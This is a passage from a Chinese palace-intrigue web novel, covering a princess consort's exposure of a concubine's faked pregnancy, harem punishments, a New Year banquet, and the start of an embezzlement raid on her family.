余光扫过一旁身体颤抖的婢女和周太医时,她眼神冰冷一瞬。 江柔闭上眼睛,脑中迅速盘算起后路。 萧临还坐在外间,只是等了良久都没有听到回信,不由问:“可是江氏的身子有碍?” 一瞬后,才传来杨院判微妙的声音:“回王爷,依下官诊出的脉象,江夫人似乎并未有孕。” 第五十七章 重惩 闻言,屋里众人都面露震惊。 “你说什么?”萧临立刻起身,死死盯着里面的身影,“杨院判可诊清楚了?” “微臣确信。” 四个字几乎叫萧临脑中绷紧的弦断了又断,他站在原地愣了片刻,才仿佛回过神来。 他的长子……始终都不存在? “怎么可能?”江柔不可置信,险些不顾仪态地去抓杨院判,“不可能!先后两位太医都为我诊过脉,确认是喜脉无疑,且我方才腹部遭受重击……便流了血,这不是小产吗?!” “微臣诊出您近日似有服用过催促月事的药,这血……应是月事所致。” 杨院判没有提先前的喜脉如何,但萧临冰冷的眼神已经落在了瑟瑟发抖的周太医身上。 周太医心下慌乱,想起方才江柔的暗示,咬了咬牙:“是王妃指使微臣误诊喜脉的,微臣只是听命行事——” “砰——” 他话还未说完,就被萧临一脚踹得撞翻桌椅,在地上滚了好几圈。 “事到如今,你还敢攀扯王妃?”萧临声音阴沉。 余光扫过王庆若有所思的神色,他心中虽怒,还是替崔锦解释:“先前苏太医为王妃治风寒,曾被王妃派去给江氏诊脉,但江氏拒绝了。” 那时他不觉有什么,现在回想起来,江柔似乎是在心虚? 江柔心中一个咯噔,却不解释,只一副神智恍惚的模样,似乎还没从没有怀孕的误诊中醒来。 幸好周太医够蠢,竟真听了她的暗示去攀扯崔锦。 即便他再开口攀扯她,在没有证据的前提下,明面上也不会有人信了。 ……她还有机会翻盘。 周太医还在求饶,萧临却怒意磅礴,恨不得一掌拍死他。 他以为得到后再失去已经足够伤心,甚至在说服自己接受现实,可事实是他从未得到过。 这从头到尾都是一场骗局。 他握紧拳头,骨节几乎泛白。 正当他脚步微动,欲再动手时,却被一只微凉的手握住:“太医院直属御前,能买通两位太医卖命,幕后之人绝不简单,为了父皇母后与皇室中人的安危,此案该交由大理寺审查。” 萧临对上崔锦略带深意的眼神,清醒过来。 这不是一个江柔就能做到的,甚至后院这群女人也没那么通天的本事……是晋王! 他被压得久了,处境艰难,在朝中无处下手,便伸向了后宅,利用他无嗣的弱点布局。 给了希望,再叫人失望……他无比清楚这其中的落差。 也清楚,此事落在早就盼望他有后的永隆帝身上,落差会有多大,进而提醒永隆帝……他萧临无后。 难当大任。 萧临胸腔中怒意翻涌,却冷静下来,沉声吩咐:“将两位太医送去大理寺。” “是。” 周太医面如死灰地被带了下去。 王庆留着尴尬,略安慰几句便带杨院判离开了。 寄月阁再度只剩下原先的人。 叶挽棠忙道:“王爷,您现在相信了吗,这一切都是江柔自导自演,故意陷害妾与王妃啊!妾再没脑子,也绝不会故意伤人,还是在众目睽睽之下!” 这话先前萧临不信,但现在…… 江柔不经意间扫过一直垂首站立的安氏。 安氏手指微紧,但还是跪下道:“王爷明鉴,自江夫人有孕起,妾一直陪着她,连睡觉都在一起,但妾从未见她私下有谋算过什么,这……应该只是一场误会。” “误会?”崔锦忽地开口,“所以暗示婢女对我冒犯诬陷,也是误会?还是你与她本就是同谋?” 安氏脸色一白。 江柔知道不能再装下去,跌跌撞撞地下床,跪去崔锦面前:“王妃恕罪,妾当真以为自己怀了孕,在看到那团血时……以为是孩子落了,妾实在失智了啊,婢女误会了您与叶姐姐,便为妾叫屈,并非蓄意诬陷于您,请您恕罪……” 她脸色还泛着病态的苍白,痛哭不已。 庄清婉指尖不断摩挲着衣裙,咬着下唇,不知该如何是好。 方才她那般理直气壮,认定了崔锦是凶手,可到头来江柔连怀孕都是假的,她再蠢……也知道这不是崔锦的设计了。 她心中既有对江柔假孕的庆幸,因为她还来得及生下心上人的长子,却又有对崔锦的复杂情绪。 她不想道歉——崔锦作为王妃,失察是事实,若她将心思放在管理后院上,江柔没机会弄虚作假。 可……她为妾,大不敬的前提下,必须低头。 正在她咬得下唇泛白,犹豫不决间,崔锦侧头看向萧临:“王爷觉得呢?” “你做主便好。”萧临揉了揉泛疼的眉心,脸色有些颓唐。 崔锦微微颔首,扫向下首众人,冷声开口:“江氏犯上,诬陷王妃,杖责二十,罚一年月例;其婢女犯上作乱,杖毙;寄月阁所有下人无法规劝主子,罚半年月例。” “安氏不守本分,杖二十,罚半年月例。” “侧妃庄氏,不敬王妃,罚抄府规百遍,栖霞院下人一律杖责十板。” 她话落,众人都是一怔。 似乎看透了她们所想,崔锦问:“觉得我素来宽和,甚少与人计较,便以为我还会轻轻放过你们?”她环视一圈,冷笑,“正是因为我太好说话,才纵得你们一而再、再而三地诬陷我,纵得你们没了尊卑之念!” “往日种种我不再计较,但从今日起,都给我守好了规矩!若再有敢犯上作乱之人,一律重惩,绝不姑息!” 她病还未愈,声音有些沙哑,气势却压倒了满屋人,连庄清婉脸色都隐隐发白。 此时,已经有嬷嬷拖江柔下去,她终于慌了一瞬。 若当着萧临与满府女人的面挨板子,她还有何脸面可言? “王妃,妾腹部刚受重击,又来了月事,可否宽限几日再罚?”她满眼含泪,乞求地看着崔锦,十分可怜。 崔锦不为所动:“若今日没有杨院判,这般乞求地看着旁人的便该是我了。” “拉下去打!” 江柔眼中不可抑制地浮出愤恨,很快便垂下眼藏住。 但她的婢女却慌不择路——她是唯一被杖毙的。 她高声喊着救命,却在触及一旁江柔的眼神后,倏而安静下来,只有身体在为接下来的死亡不断颤抖。 一声又一声沉闷的板子声响起,屋里人听得心跳如擂鼓。 当看到婢女被抬出院门的尸体后,庄清婉更是摇摇欲坠,险些站立不稳。 第五十八章 本王错了吗? 崔锦嗓子发痒,轻咳了几声,才缓缓起身:“妾身告退。” 萧临起身与她一起出门。 经过叶挽棠时,他顿住:“叶氏言行不当,抄书学礼去吧。” 若今日江柔当真有孕,叶挽棠便酿成了大祸,无论江柔出发点是什么,叶挽棠都不该大意。 叶挽棠脸绿了一瞬,憋屈地应下。 出门后,看着身边一言不发的崔锦,萧临没话找话:“你身子还没好,快回去歇息吧。” “是。” 崔锦微微颔首:“还有一事。” “你说。”在她话音落下的一瞬,萧临就忙开口。 “后院不成规矩,妾身日后会严以待下,不知可否?” 萧临点头:“自然,她们若有冒犯不敬之举,你尽管罚。” 被崔锦提醒后,他也觉得后院这些女人有些过分了,三番五次地攀扯崔锦,还误导了他怀疑她,若非如此……他们本该恩爱不疑才是。 得了准话,崔锦便没再说什么。 萧临从未与她这样沉默地相处过,不自在之余,总觉得哪里不对劲。 分岔路口,崔锦率先离开。 萧临下意识叫了她一声,崔锦回头看来:“王爷还有事?” 她眼中有恭敬,有客气,却再没了从前那般近乎专注的炙热情意。 萧临终于明白哪里不对了。 以前他误会她,或是有了矛盾口角,她从来都是委屈的,眼眶通红的可怜模样叫人心疼,但这回……从方才进门起,她就再未说过一句多余的话,哪怕被江柔诬陷,被庄清婉冤枉针对,都没再对他解释过半个字。 看他的眼神更是无情。 不该是这样的。 萧临心中有些慌乱,好像即将失去什么一样。 崔锦见他不说话,便屈膝:“妾身告退。” 这回轮到萧临站在雪地里愣神,他像是感觉不到冷一样,在脑海中将崔锦方才的眼神回忆了无数次,心中纷杂慌乱,又困惑不解。 他已经率先低头,她为何还要如此冷淡? 回到从前那样不好吗? “王爷?”庆喜小心翼翼地叫他,“雪地里冷,咱们先回吧。” 萧临应了一声。 他是习武之人,尚都觉出了一丝寒意,崔锦那般柔弱的身子骨,那日怕是冷极了吧。 可自她病后,他只去过正院一回。 他以为是冷落些许,不给她恃宠生娇的机会,也叫她明白什么话不该说,却适得其反,将她推得更远了。 萧临心中微沉,回去后见到满桌的午膳只觉心烦不已,让人撤了下去,短短半日出了这么多事,他实在没心情用膳,可想处理公务,却屡屡走神。 又想该如何叫崔锦变回从前那样,又失望伤心于那个本不存在的长子。 庆喜面露担忧,想了想,还是去了正院一趟。 如春直接回了他:“王妃方才出门一回,又吹了风,刚喝完药睡下,实在没法再出去了……明日就是除夕夜宴,王妃得好好养身子,公公体谅一下吧。” 庆喜摆摆手:“是我考虑欠妥了。” 他叹了口气,关心了崔锦两句后,便匆匆离开。 紧闭的窗后,崔锦看着外头渐渐远去的模糊人影,嗤笑一声。 指望她去安慰? 做梦去吧。 她的爱可不是无条件的,萧临该清楚这一点了。 …… 庆喜回了前院,对上萧临的视线,不由低下头。 “王妃受了凉,刚服药睡下了。”他顿了顿,还是多嘴一句,“今日奴才瞧着王妃脸色就不大好,又是伤神应付被诬陷的事,又是吹风受凉的……” 萧临握笔的手微紧。 沉默片刻,他忽地问:“你说,真是本王错了吗?” 他实在想不通,有了误会,解开便是,崔锦为何对这一点紧咬不放? 庆喜欲言又止:“奴才觉得,您再三猜忌王妃,的确有些过分了。” 他觑着萧临的脸色,继续道:“即便是亲朋好友,被身边人猜疑都要伤了心,更何况您与王妃是最亲密无间的夫妻……换做您被王妃屡屡猜疑,甚至夺权冷落,您难道能心无芥蒂吗?” 萧临下意识顺着他的话想去。 若崔锦如此待他,他绝不会再给她第二次猜疑他的机会。 庆喜一脸“我就知道”的样子,叹道:“当然,女子以夫为天, 王妃不敢那样对您,可这再深厚的感情……也经不住磨啊。” 萧临蓦然一滞。 磨…… 崔锦对他的感情,被磨没了吗? 今日她那般态度……是对他失望了? 他忽地站起身,大步出门。 庆喜愣了一下,忙拿起狐裘快步跟上。 萧临一路匆匆走到了正院,房门却紧闭不开。 如春行过礼,低声道:“王妃刚睡下,她病还未愈……还请王爷宽宥一二。” “本王不会吵她,只是进去看看她。”萧临轻声开口,“只看看她便好。” 如春有些为难,却还是堵着门:“王妃这几日睡不安稳,昨夜更是到凌晨才睡下,这会儿若进去,稍有动静就会吵醒她,又得耽误好些时间才能有睡意……求王爷怜惜怜惜王妃吧,她的身子不能这么熬了啊。” 萧临沉默下来。 她睡不安稳,心中应也是难受的吧。 至少不像她今日的眼神那般,恭敬客气,毫无温度。 “稍后苏太医会来,库里的药材随正院取用,你们好生伺候。” 说罢,他才转身离开。 他忽然想起前几回被他猜疑时,即便顺着他道歉的台阶下去了,崔锦眼底仍有迟疑和伤心,但被他下意识忽略了。 因为他觉得那并不重要。 崔锦只需要做好贤妻良母,为他打理府宅,为他生儿育女,她的情绪如何,并不需要过多在意。 可当那三番几次积攒下来的情绪一起爆发时,他却不知该如何是好了。 还有一丝不该忽略她的后悔。 第五十九章 晋王受罚 萧临午后来了正院一回,晚间又来了一回,但崔锦始终闭门不见。 她抱着汤婆子躺在软榻上,浑身都暖洋洋的,看着萧临在外头挨了大半天的冻才好心情地吃起了糖霜饼。 如春给她拿来木鱼,问道:“王爷这回瞧着似乎心诚了不少,您打算何时与他和好?” “再等上十天半月的吧。”崔锦垂眸。 萧临体会过了她毫无保留的深爱,便不会轻易放手,加上这回理亏,对她的耐心只会更多。 不趁机拿捏磋磨,那可真对不起她受的这些委屈了。 而萧临……付出的感情和时间越多,他才会越珍惜,以后再有事,他自己就会掂量着偏心她了。 如春了然地点点头,这才说起后院:“庄侧妃与叶夫人都在抄书,不过庄侧妃对您颇有怨言,叶夫人倒是十分适应;江夫人挨了二十板子,刚才发起了高热,神志不清。” “活该!”如夏冷笑一声。 若非崔锦将江柔有孕的消息透给了御前的人,揭穿她假孕的事实,现在该哭的恐怕是正院了。 如冬也认同地点头:“平日看她柔柔弱弱,对谁都一副温柔模样,私下却手段频出,还敢将手伸来正院,当真是咬人的狗不叫。” “我原先对她印象颇好,反而不喜欢张扬的叶夫人,可如今看来,倒反了过来……起码叶夫人没那么多害人心思。” 崔锦也若有所思地点头:“若时机合适,可以收了叶挽棠。” 后院的人只会越来越多,她该有几个帮手了。 一夜过后,便是除夕。 崔锦闷在屋里养了一整日,直到黄昏时分才出来,准备进宫。 萧临看到她,眼前一亮。 明明只一日未见,可因为他心中煎熬与崔锦的闭门不见,足叫他觉得如隔三秋一般。 “你穿得单薄了些。”他扫寻一眼崔锦的穿着,解开狐裘为她披上。 崔锦垂眸道谢:“多谢王爷。” 萧临一顿,点头:“时辰不早,快上车吧。” 他抬起手,崔锦没有拒绝被他扶上马车,谨守本分,不多说一个字。 后头的庄清婉咬了咬唇,失魂落魄地上了自己的马车。 崔锦已经失宠,可因为昨日的真相还她清白,萧临便又恢复了往昔的宠爱。 甚至忘了她自进门后,还未承宠。 庄清婉攥紧手指,眸光闪烁不定。 宫宴很快便开始了,但不少人惊异地发现晋王府的席位竟是空的,而往年与永隆帝一起出现在宫宴上的娴贵妃,今年却是独自前来。 反倒是淑妃后来居上,随着帝后一起出席。 这非同寻常的信号叫众人面色不一,但信王党却都喜气洋洋,尤其是平安伯府。 崔锦坐定后,忽地察觉到一道不容忽视的视线,抬头看去,正对上沈之珩意味深长的眸光。 她微微愣住。 沈之珩对她举了举杯,面容温和,好似从未有过龃龉一样。 崔锦移开视线,心中有了猜测。 晋王的手段素来都用在前朝,少有插手后宅……陷害江柔假孕,用以削弱萧临在永隆帝心中的竞争力,倒像是是沈之珩的管用手段。 他今日能坐在这里,想也是晋王的安排了。 虽然只是个角落的位置,却也足够叫人将他一个举人看在眼里。 萧临见崔锦目光扫向对面空着的席位,低声解释:“周太医是个软骨头,很快就交待了幕后主使,父皇震怒,明日便会有晋王妃德行不端的懿旨降下,晋王也被连累,罚了闭门思过。” 崔锦眼眸微动,点了点头。 晋王是亲儿子,无论他有没有做过收买太医的事,这个帽子都不会扣在他头上……所以晋王妃就当仁不让了。 今日夜宴除名,就是对他们的警告。 但永隆帝对萧临也没有多偏向,今夜对他甚至还冷淡了几分,只揽着几个年纪小的皇子公主慈爱非常。 萧临眼底一丝阴郁闪过,很快消失不见。 纵然江柔假孕一事是晋王所为,但也不代表永隆帝对他就毫无意见——正因曾对他抱有期待,所以在他“有后”之后,永隆帝才龙颜大悦,甚至派下杨院判,为一个妾室请脉。 而在知道萧临依旧无子后,他心中的失望可想而知。 一个没有后嗣的皇子,传位都要斟酌再三。 若非萧临那五年从战场拼下来的赫赫战功叫他看入了眼里,他不会再给萧临机会。 今夜,众多大臣相继来向萧临敬酒示好,他看似花团锦簇,可心中那条线却绷得更紧,也多了几分沉重。 他如今的处境,不比晋王好多少。 崔锦垂眸喝了口茶,默不作声。 若非永隆帝已经成年的皇子里不是天残就是平庸,只怕早就被扶起来几个和萧临晋王一起争了。 或许是因为今夜宴上少了挑事的晋王,或许因为今夜气氛颇有些诡异,难得没有人出头找麻烦,一场晚宴很快到了尾声。 宴后,萧临没有出宫,而是在淑妃的暗示下去了偏殿。 “你太大意了。”淑妃脸色难看,“晋王自损一千,也伤了我们八百!” 她抬头看向萧临:“上回你松口叫后院进人,皇上龙颜大悦,这才给了本宫协理六宫之权,你应该明白,你比晋王的优势大了多少,大在哪里。” 永隆帝对晋王的宠爱一半因为他能力不俗,一半因为娴贵妃。 可他对萧临的看重却完全是因为萧临的天资与能力。 永隆帝是个合格的帝王,也给了萧临数次机会,更在后者同意娶妻纳妾后松动不少,但无子这一点,始终是萧临的死穴。 萧临眉头皱了一下:“儿子明白,这回是我们棋差一着,我的人已在布局。” “你的敌人不在晋王。”淑妃毫不客气,“只要得到皇上的认可,晋王算什么东西?” 萧临揉了揉眉心,明白了她言下之意。 果然,下一瞬就听到淑妃不容置疑的话:“府里那几个太没用了,本宫已挑好了几家姑娘,年后便送入府。” 她恨铁不成钢地看着萧临:“你也给本宫争点气!” 若萧临早便有后,今日岂会有晋王母子挣扎的余地? 萧临点头应下。 淑妃脸色这才好看了些,声音沉冷:“你知道轻重就好,我们与晋王母子早已不死不休,用尽手段……都要赢。” 否则等晋王登基之日,就是他们母子三人葬身之时。 第六十章 送猫 回了王府后,萧临扶了崔锦下车,正想说什么,后者却率先屈膝:“妾身告退。” 萧临的话哽在喉头。 庄清婉看到这一幕,微微蹙眉。 崔锦也太不知好歹了些。 见萧临还在看着崔锦离开的背影,她踱步上前,轻声道:“王妃或许是气您先前的冷落吧,可她染了风寒,您若前去探望,万一也染上损了身子可怎生是好?王妃有些不懂事了,竟还以此作筏子,下您脸面。” 明里暗里说着崔锦在恃宠生娇,欲擒故纵。 庆喜看了她一眼,心中嗤笑一声。 在崔锦的身影消失在夜色中后,萧临才看向庄清婉:“没事做就去抄书,好好学学规矩。” 庄清婉脸色有些难堪。 见萧临抬步离开,她不死心地喊住他:“王爷,妾身进门已快一月了,可您……还从未去过栖霞院,妾身备了好酒,不如今夜陪您一道守岁?” 萧临脚步不停:“等你学好规矩再说吧。” 庄清婉死死掐住手,眼睛微微变红,其间含着难过。 她不该怨的,也不该难受。 已经如愿嫁给心上人了,她本就不贪心,只要能时常见到他就好……再说,他也没有完全拒绝,不是吗? 只是因为先前崔锦罚她,他不好这么快驳了崔锦的脸面罢了。 …… 翌日便是大年初一。 崔锦作为信王妃,需要出席的场面不少,首先便是进宫给帝后与淑妃拜年,再与宗室联络感情。 淑妃得了萧临的准话后,也不经意间对崔锦透露出年后新人进府的事,话里还有对崔锦肚子不争气的怨怪。 对此,崔锦低眉垂眸,全盘接受。 果然淑妃再讨厌萧临也存着偏心,一个女人不生是一个的问题,可所有女人都生不出,她怎么不想想自己儿子问题更大呢? 不过,对于新人入府,她早就有了心理准备,也意会了淑妃似有似无透出的要林昭让位的意思。 毕竟亲王侧妃只允许有两人,从前林昭有军功和萧临的宠爱庇护,淑妃拿她没办法,但现在林昭失了宠,娘家也没有任何支持,再占着侧妃之位便有些不划算了。 崔锦不确定她何时动手,但在收到远方传来的一封信后,觉得可以适时递上一把刀了。 在结束整整五日的应酬后,她终于闲下来了些,去书房回了信。 出来时,她轻声问:“都准备好了么?” 如秋点点头:“已经通知了下面人,等那人一进京便暗中以晋王的名义送去淑妃手中。” 顿了顿,她还是低声开口,难掩惊讶:“奴婢单知道林侧妃胆子大,可盗诗也就算了,她竟真敢冒领军功……这可是死罪。” 晋王妃兄长先前被查出此事,可是晋王和晋王妃娘家一起保下来的。 但以林昭现在的处境来说,萧临保她的可能性微乎其微。 “她有点脑子,但并不足以支撑她在战场上活下来,甚至被王爷看入眼里。”崔锦坐去软榻,眼眸微眯,“她想爬上去,不使手段怎么行?” 如秋咂舌:“幸好您反应快,早早便叫表公子去南疆查了,那人被我们找到总好过被晋王的人找到。” 冒领军功可不是开玩笑的,尤其萧临还是当事人之一。 若此事被晋王揭发,他被林昭连累后可就不止是前几回的颜面尽失了,恐怕夺嫡的希望都要渺茫几分。 崔锦自进门与林昭交手过几次后,便察觉到她金玉在外的痕迹,除了揭露她盗诗外,也传信叫谢家表哥去了趟南疆,深查林昭的军功。 她不觉得一个在战场上智计百出,手段出神入化的人会在后宅输的这么惨,甚至连反击之力都欠奉。 这不是她该有的水平。 “那王爷……”如秋问,“他这几日对您殷勤得很,中馈权也还给您了,您要给他回应吗?” 崔锦思索片刻,笑了:“那人最快十日后便能进京,便等林昭被处置之后吧。” 等萧临再受打击,心理脆弱时,她趁虚而入,事半功倍。 接下来几日,她的应酬少了许多,只接待些萧临一党的命妇,再赏赐幕僚家眷即可。 萧临依旧日日来正院,崔锦有时对他冷淡,有时又似被触动,态度捉摸不定,也勾得萧临不上不下。 初九这日,萧临再来时,带了只通体雪白的猫。 似乎是刚出生不久,只有巴掌大,毛发蓬松柔软,一双湛蓝如汪洋的眼睛看着人时,能将人心都看化了。 察觉到崔锦顷刻间软化的眼神,萧临心里一松,将小猫放在桌上:“这是下头人献上的,本王一见它便觉投缘得很,只是平日公务繁忙,无暇养它,只能劳锦儿费心了。” 只是托养,不说送人,绝了崔锦拒绝的机会,以后还能以各种借口来正院。 崔锦垂下眸。 桌上的小猫眼神怯怯,柔弱可怜又漂亮,在察觉到崔锦的视线后,软软叫了一声,竟主动在她面前翻开肚皮示好。 崔锦到底还是没忍住,轻轻给它顺毛,手下的柔软的触感叫她心神都放松了片刻。 萧临看着这一幕,眼眸微深。 从见到这猫的第一眼,他就觉得投缘,因为它很像崔锦。 容貌荡人心神,无辜可怜又弱不禁风,也同样在看到他的第一眼,就主动露出最柔软的一面,向他示好。 爱屋及乌之下,叫他心都软了不少。 “给它起个名字吧。”他道,“不如就叫阿临?” 崔锦顿住。 如春几人也颇有些一言难尽。 这是要时刻提醒崔锦自己的存在吗?只要猫在她眼前晃一刻,他的存在感就强一刻。 再说……柔弱不能自理的小猫叫阿临,反差太大不说,除了崔锦谁敢喊? “就叫小猫。”崔锦摸着小猫,随意开口。 萧临有些遗憾地住口,觑着她的脸色,试探着伸出手,覆在她手上,但下一瞬,手掌便空了,只剩满手猫毛。 他顿了顿,忽地道:“从前是本王不对,冤枉了你好几回,以后……本王会给你足够的信任,可好?” 崔锦垂着眸,半个月以来终于对他开口:“王爷上回也是这么说的。” 萧临一滞。 崔锦抬头看他:“那时我叫王爷认清我,看透我,你嘴上答应,却并未做到……你始终都在侮辱我的情意,看轻我这个人。” “你从不信我会为了你而压抑嫉妒,克制对权力宠爱的欲望。” “你从不信我的品行为人。” 从前她说起这些,眼神总是受伤的,难过的,但这回却清亮而坦荡,还带着咄咄逼人的刺目感。 第六十一章 撬开心防 不知沉默了多久,萧临才开口:“我天生多疑,生在皇家,又身陷党争的漩涡,很难完全去信任谁。” “因为一旦失手,露了破绽给对手,便是万劫不复,我无法将自己与身后无数人的身家性命寄托于一份漂浮不定的信任上,无论发生什么,我都会第一时间去猜疑身边任何人,再小心查证,以确保万无一失。” 即便是从前的林昭,也从未得到他的完全信任。 一个在他眼里“足智多谋”的军师,被他困于后宅,终日仰仗他的宠爱而活,从未触碰到他的核心机密与利益。 而对林昭许下独宠的诺言,比起感情和他心底对爱的索求,更像是一个补偿。 一个叫林昭失去“自由”与“前程”的补偿。 崔锦沉默不语,心中却叹了口气。 终于撬开这人一点心防了。 天生多疑的人,太难获取对方的信任。 萧临看向她,方才心中的挣扎与权衡似乎已经尽数压了下去,只剩坦诚:“但你与旁人不同,对我而言的意义也不同……我会试着信任你。” 他舍不得崔锦的痴情深爱——这对他而言太过难得与奢侈。 他也舍不得崔锦。 不想叫她再那样冷漠恭敬地看着他。 他喜欢有温度,会笑会闹的崔锦。 他已经足够坦诚,崔锦眉眼间似乎软化了一些,却又犹豫不决。 萧临适可而止,没再逼她。 起身时,他抬起手,像从前一样亲昵地为她拂去鬓边发丝,见没有被拒绝,他唇边浮起浅笑,心情明快了些,脚步轻松地离开。 他再给不起任何女子独宠的承诺,也清楚自己后院乃至后宫会进多少女人,但只有崔锦是不一样的。 也只有她值得他放下身段去讨好挽留。 出来后,他侧头吩咐庆喜:“去买些千宝斋的招牌点心,给王妃送去。” 庆喜笑盈盈点头:“还是王爷您心细,奴才听如冬姑娘说,王妃可最喜欢这些小点心了。” 萧临脸上笑容不掩。 他正欲回前院,却见秋纹远远跑来。 “王爷!”秋纹脸色一喜,忙小心道,“侧妃……请您前去叙话。” “有事?” “奴婢也不知……只是侧妃说有极重要的事与您商议。” 萧临沉默半晌,抬步往珠玉院走去。 秋纹松了口气,匆忙跟上。 自林昭失宠后,珠玉院的人出门说话都没了底气,还要看尽各方脸色,而她这个侧妃跟前第一得脸的婢女,也再不是从前庆喜之下说一不二的存在,对谁都添了几分小心翼翼。 这种日子……实在难熬。 希望侧妃这回能说动王爷吧。 等萧临到珠玉院时,便看到了廊下衣着单薄的林昭,她脸色苍白,气色很不好,身形瞧着也单薄了许多,衬着略显萧条的珠玉院更显凄凉。 看到萧临,她眼睛一亮:“王爷。” “你有何事?”萧临走到她面前。 林昭眼中闪过苦涩:“我与王爷之间,如今只剩下正事了么?” 见萧临不语,她攥紧双手:“江柔没有身孕,妾身的禁足也该解了吧?先前妾身遣人去禀报王妃,但王妃从未有回应。” “无论江氏是否有孕,你都不该暗下杀手。”萧临冷声开口。 林昭张了张嘴,眼底闪过不甘。 红花不是她下的,不知是哪个贱人陷害她,可萧临却信了,现在她没有证据,他不会信她。 萧临低头看着她,再度开口:“王妃有令,你只管遵从就是,不必在本王面前给她上眼药。” 林昭脸色微变。 萧临对崔锦竟已维护至此……可明明,先遇到他的是她,是她先得到他的心啊! 看着面无表情的萧临,她咬了咬牙:“妾身……为您准备了惊喜。” 话音落下,两个貌美婢女盈盈出来,含羞带怯地行礼:“奴婢给王爷请安。” 萧临一愣,不可置信地看向林昭。 林昭指甲掐进掌心,面上却笑得不露痕迹:“听说王妃风寒刚愈,庄侧妃她们也不大得您喜爱,不如叫这两人伺候您?” 两个婢女心跳如擂鼓,极力展现自己的貌美与魅力,想抓住这个一步登天的机会。 萧临厌恶地扫过她们,语气更冷:“林昭,你以为本王是色中饿鬼不成?” 难道不是吗? 林昭险些问出口。 若他不是沉迷于崔锦的美貌,怎会那般轻易地毁了独宠她的承诺? 萧临眉头紧锁,懒得再留下,转身便要离开。 “王爷!” 林昭眼睛通红,死死盯着他的背影:“先前一切是我不对,我不该利欲熏心,做出那种事,也不该置你于艰难境地而不顾,我……我已经知错了……求你,原谅我一次,以后我安分待在后宅,绝不再让你烦心。” 似乎想起什么,她急急道:“这些日子我一直在喝坐胎药,调理身体……我们生个孩子好不好?我为你生儿育女,绝不再拈酸吃醋,勾心斗角……” 这些话她说得无比艰难。 但被冷落至此,体会过了见风使舵和落井下石,无论她心里怎么想,她都明白了面上该怎么去挽回萧临。 见萧临无动于衷。 林昭让他失望了太多次。 现在有了崔锦,林昭……也不再是无可替代了。 “你到底救过本王,日后在王府的地位不会改变,你……安心过日子吧。” 林昭目眦欲裂地看着他默然离开,无论怎么喊都喊不回来,顿时脱力般软倒在地。 “怎么会这样……” 她满脸是泪,后悔万分。 她一手好牌,到底怎么能打到这种潦倒境地? “秋纹。”她声音哽咽之余,倏而变得阴沉,“去传信吧。” 貌美婢女没用,真情流露也没用,她的底牌不多了,萧临对她的耐心也即将告罄。 可她不甘心。 尤其夺走萧临的还是她最看不上的崔锦——一个除了美貌一无是处的封建女。 这一次,她要崔锦身败名裂,人尽可夫! 第六十二章 崔父贪污 年后终于开朝,崔锦歇息了两日后便回了崔府。 前几日她与萧临一起回来过,但那时人多眼杂,也没工夫与家人说话,只能挑个空闲日子回来。 崔母看到她很是高兴,但又忍不住念叨:“你如今是王妃,若频繁回娘家,总要叫人说嘴。” “打从出嫁,我才回来几回?”崔锦不满地抱着她胳膊,“母亲这是嫌我烦了。” “净胡说。”崔母轻瞪她一眼。 崔锦笑盈盈逗了弟弟妹妹们一会儿后,才叫他们出去玩,与崔母说起正事。 “当年娴贵妃为何抱信王去膝下的事,我隐约查到了些。”崔母对她道,“似乎是晋王出了什么事,叫娴贵妃一度放弃了他,那时信王刚满周岁,还养得熟,娴贵妃便仗着宠爱,将他从淑妃手上夺了去。” 崔母只查到了这么多,再深一些的话,查倒是能查到些,却会惊动宫里。 崔锦面露思索。 萧临打从周岁起就被抱去娴贵妃膝下,养了近八年,按说该有些感情才是。 可萧临对不知为何厌恶他的淑妃都有情绪波动,甚至渴望母爱,对娴贵妃却像是陌生人般,毫无感情,还隐隐有着厌恶。 有些奇怪。 但她没法直接问萧临——他对她现在可以说是纵容,甚至交了一部分心,但从他那提起幼年就异常冰冷回避的态度来看,直接问得不到答案事小,叫这个多心眼的又起疑便得不偿失了。 她对崔母道:“此事母亲只当不知……也不是什么大事,只是我心中好奇罢了。” “我晓得。”崔母点点头,又有些焦心地催促,“你进门已经大半年了,也该考虑怀孕的事了。” 似乎想起什么,她冷笑一声:“外头也就罢了,知道你服过好孕丹的,还在讥讽你至今未曾承宠呢。” “崔儒月?”崔锦挑眉问。 “不是她还能有谁?”崔母没好气道,“自己过得不怎么样,偏整日盯着你瞧,比谁都见不得你好……那姓沈的也嚼你舌根,夫妻俩真是一路货色。” 崔母继续叮嘱:“他们不知为何,最近跟二房搅和得深了些,一会儿午膳,二房若说什么,你该训就训,不必给他们留脸面。” 崔锦点头:“二叔与婶娘虽有些小心思,但还算明事理,母亲不必担心。” 崔母微微皱眉,二房夫妻是还算识相,可那几个小的却未必。 尤其是三姑娘崔钰,跟着崔儒月不学好,瞧着对崔锦竟生出了怨意——这情绪都不知从何而来的。 母女俩聊了会儿,崔锦便去瞧了瞧崔老夫人,一家人用午膳。 果然如崔母所料,二房夫妻倒还好,面上客气恭敬,崔钰却在看过崔锦带回的礼品后,忍不住阴阳怪气:“二姐堂堂王妃,回家怎拿这些简陋东西唬人?先前王爷给您那般做脸,不会是您死缠烂打求来的吧?那可太丢人了。” “不过听说不得宠的女子是这样的,外表光鲜,内里贫瘠,二姐您应当不是吧?” 席间安静了一瞬。 崔老夫人皱起眉,还未呵斥,就听崔锦轻笑:“二叔婶娘手头富裕,怪道看不上我这点子东西,如春,去将给二房的东西都拿回来吧,别污了长辈的眼。” 崔二爷夫妻脸色微变。 “王妃说笑了。”崔二爷忙笑道,“三丫头不懂事,您做姐姐的莫与她计较,礼不在轻,贵在情意啊。” 更别说崔锦送的礼并不轻——只是不如给大房的多罢了。 萧临对大房夫妻的态度越发亲和,前几日来时更大手笔送了不少珍宝,崔二爷的确瞧着眼热,方才也就放任了崔钰呛人。 可要让他把到手的礼还回去……他当然舍不得。 崔锦含笑顺着他岔开话题,可礼却照旧收回来了。 能叫一向心软的崔母都颇具怨言,显然二房最近没少闹幺蛾子,她傻了才会再给他们脸。 崔二爷夫妻强颜欢笑,崔钰眼中的怨恨与嫉妒更是快溢出来了。 崔锦眉心微不可察地皱了一下。 总觉得好像不太对。 但还未等她想通,外头忽然传来一阵纷乱的脚步声,还夹杂着刀枪声。 众人都是一愣。 还没等崔二爷出去看看,一队训练有素的大理寺衙役便闯了进来,为首的正是大理寺少卿。 “于少卿?”崔二爷愣了一下,“您这是……” “奉皇命,彻查崔尚书贪污案。”于少卿对崔锦微微颔首,而后便侧首吩咐,“搜。” 崔家人脸色顿时一变,有几个小辈甚至坐立不安,慌张地闹了起来。 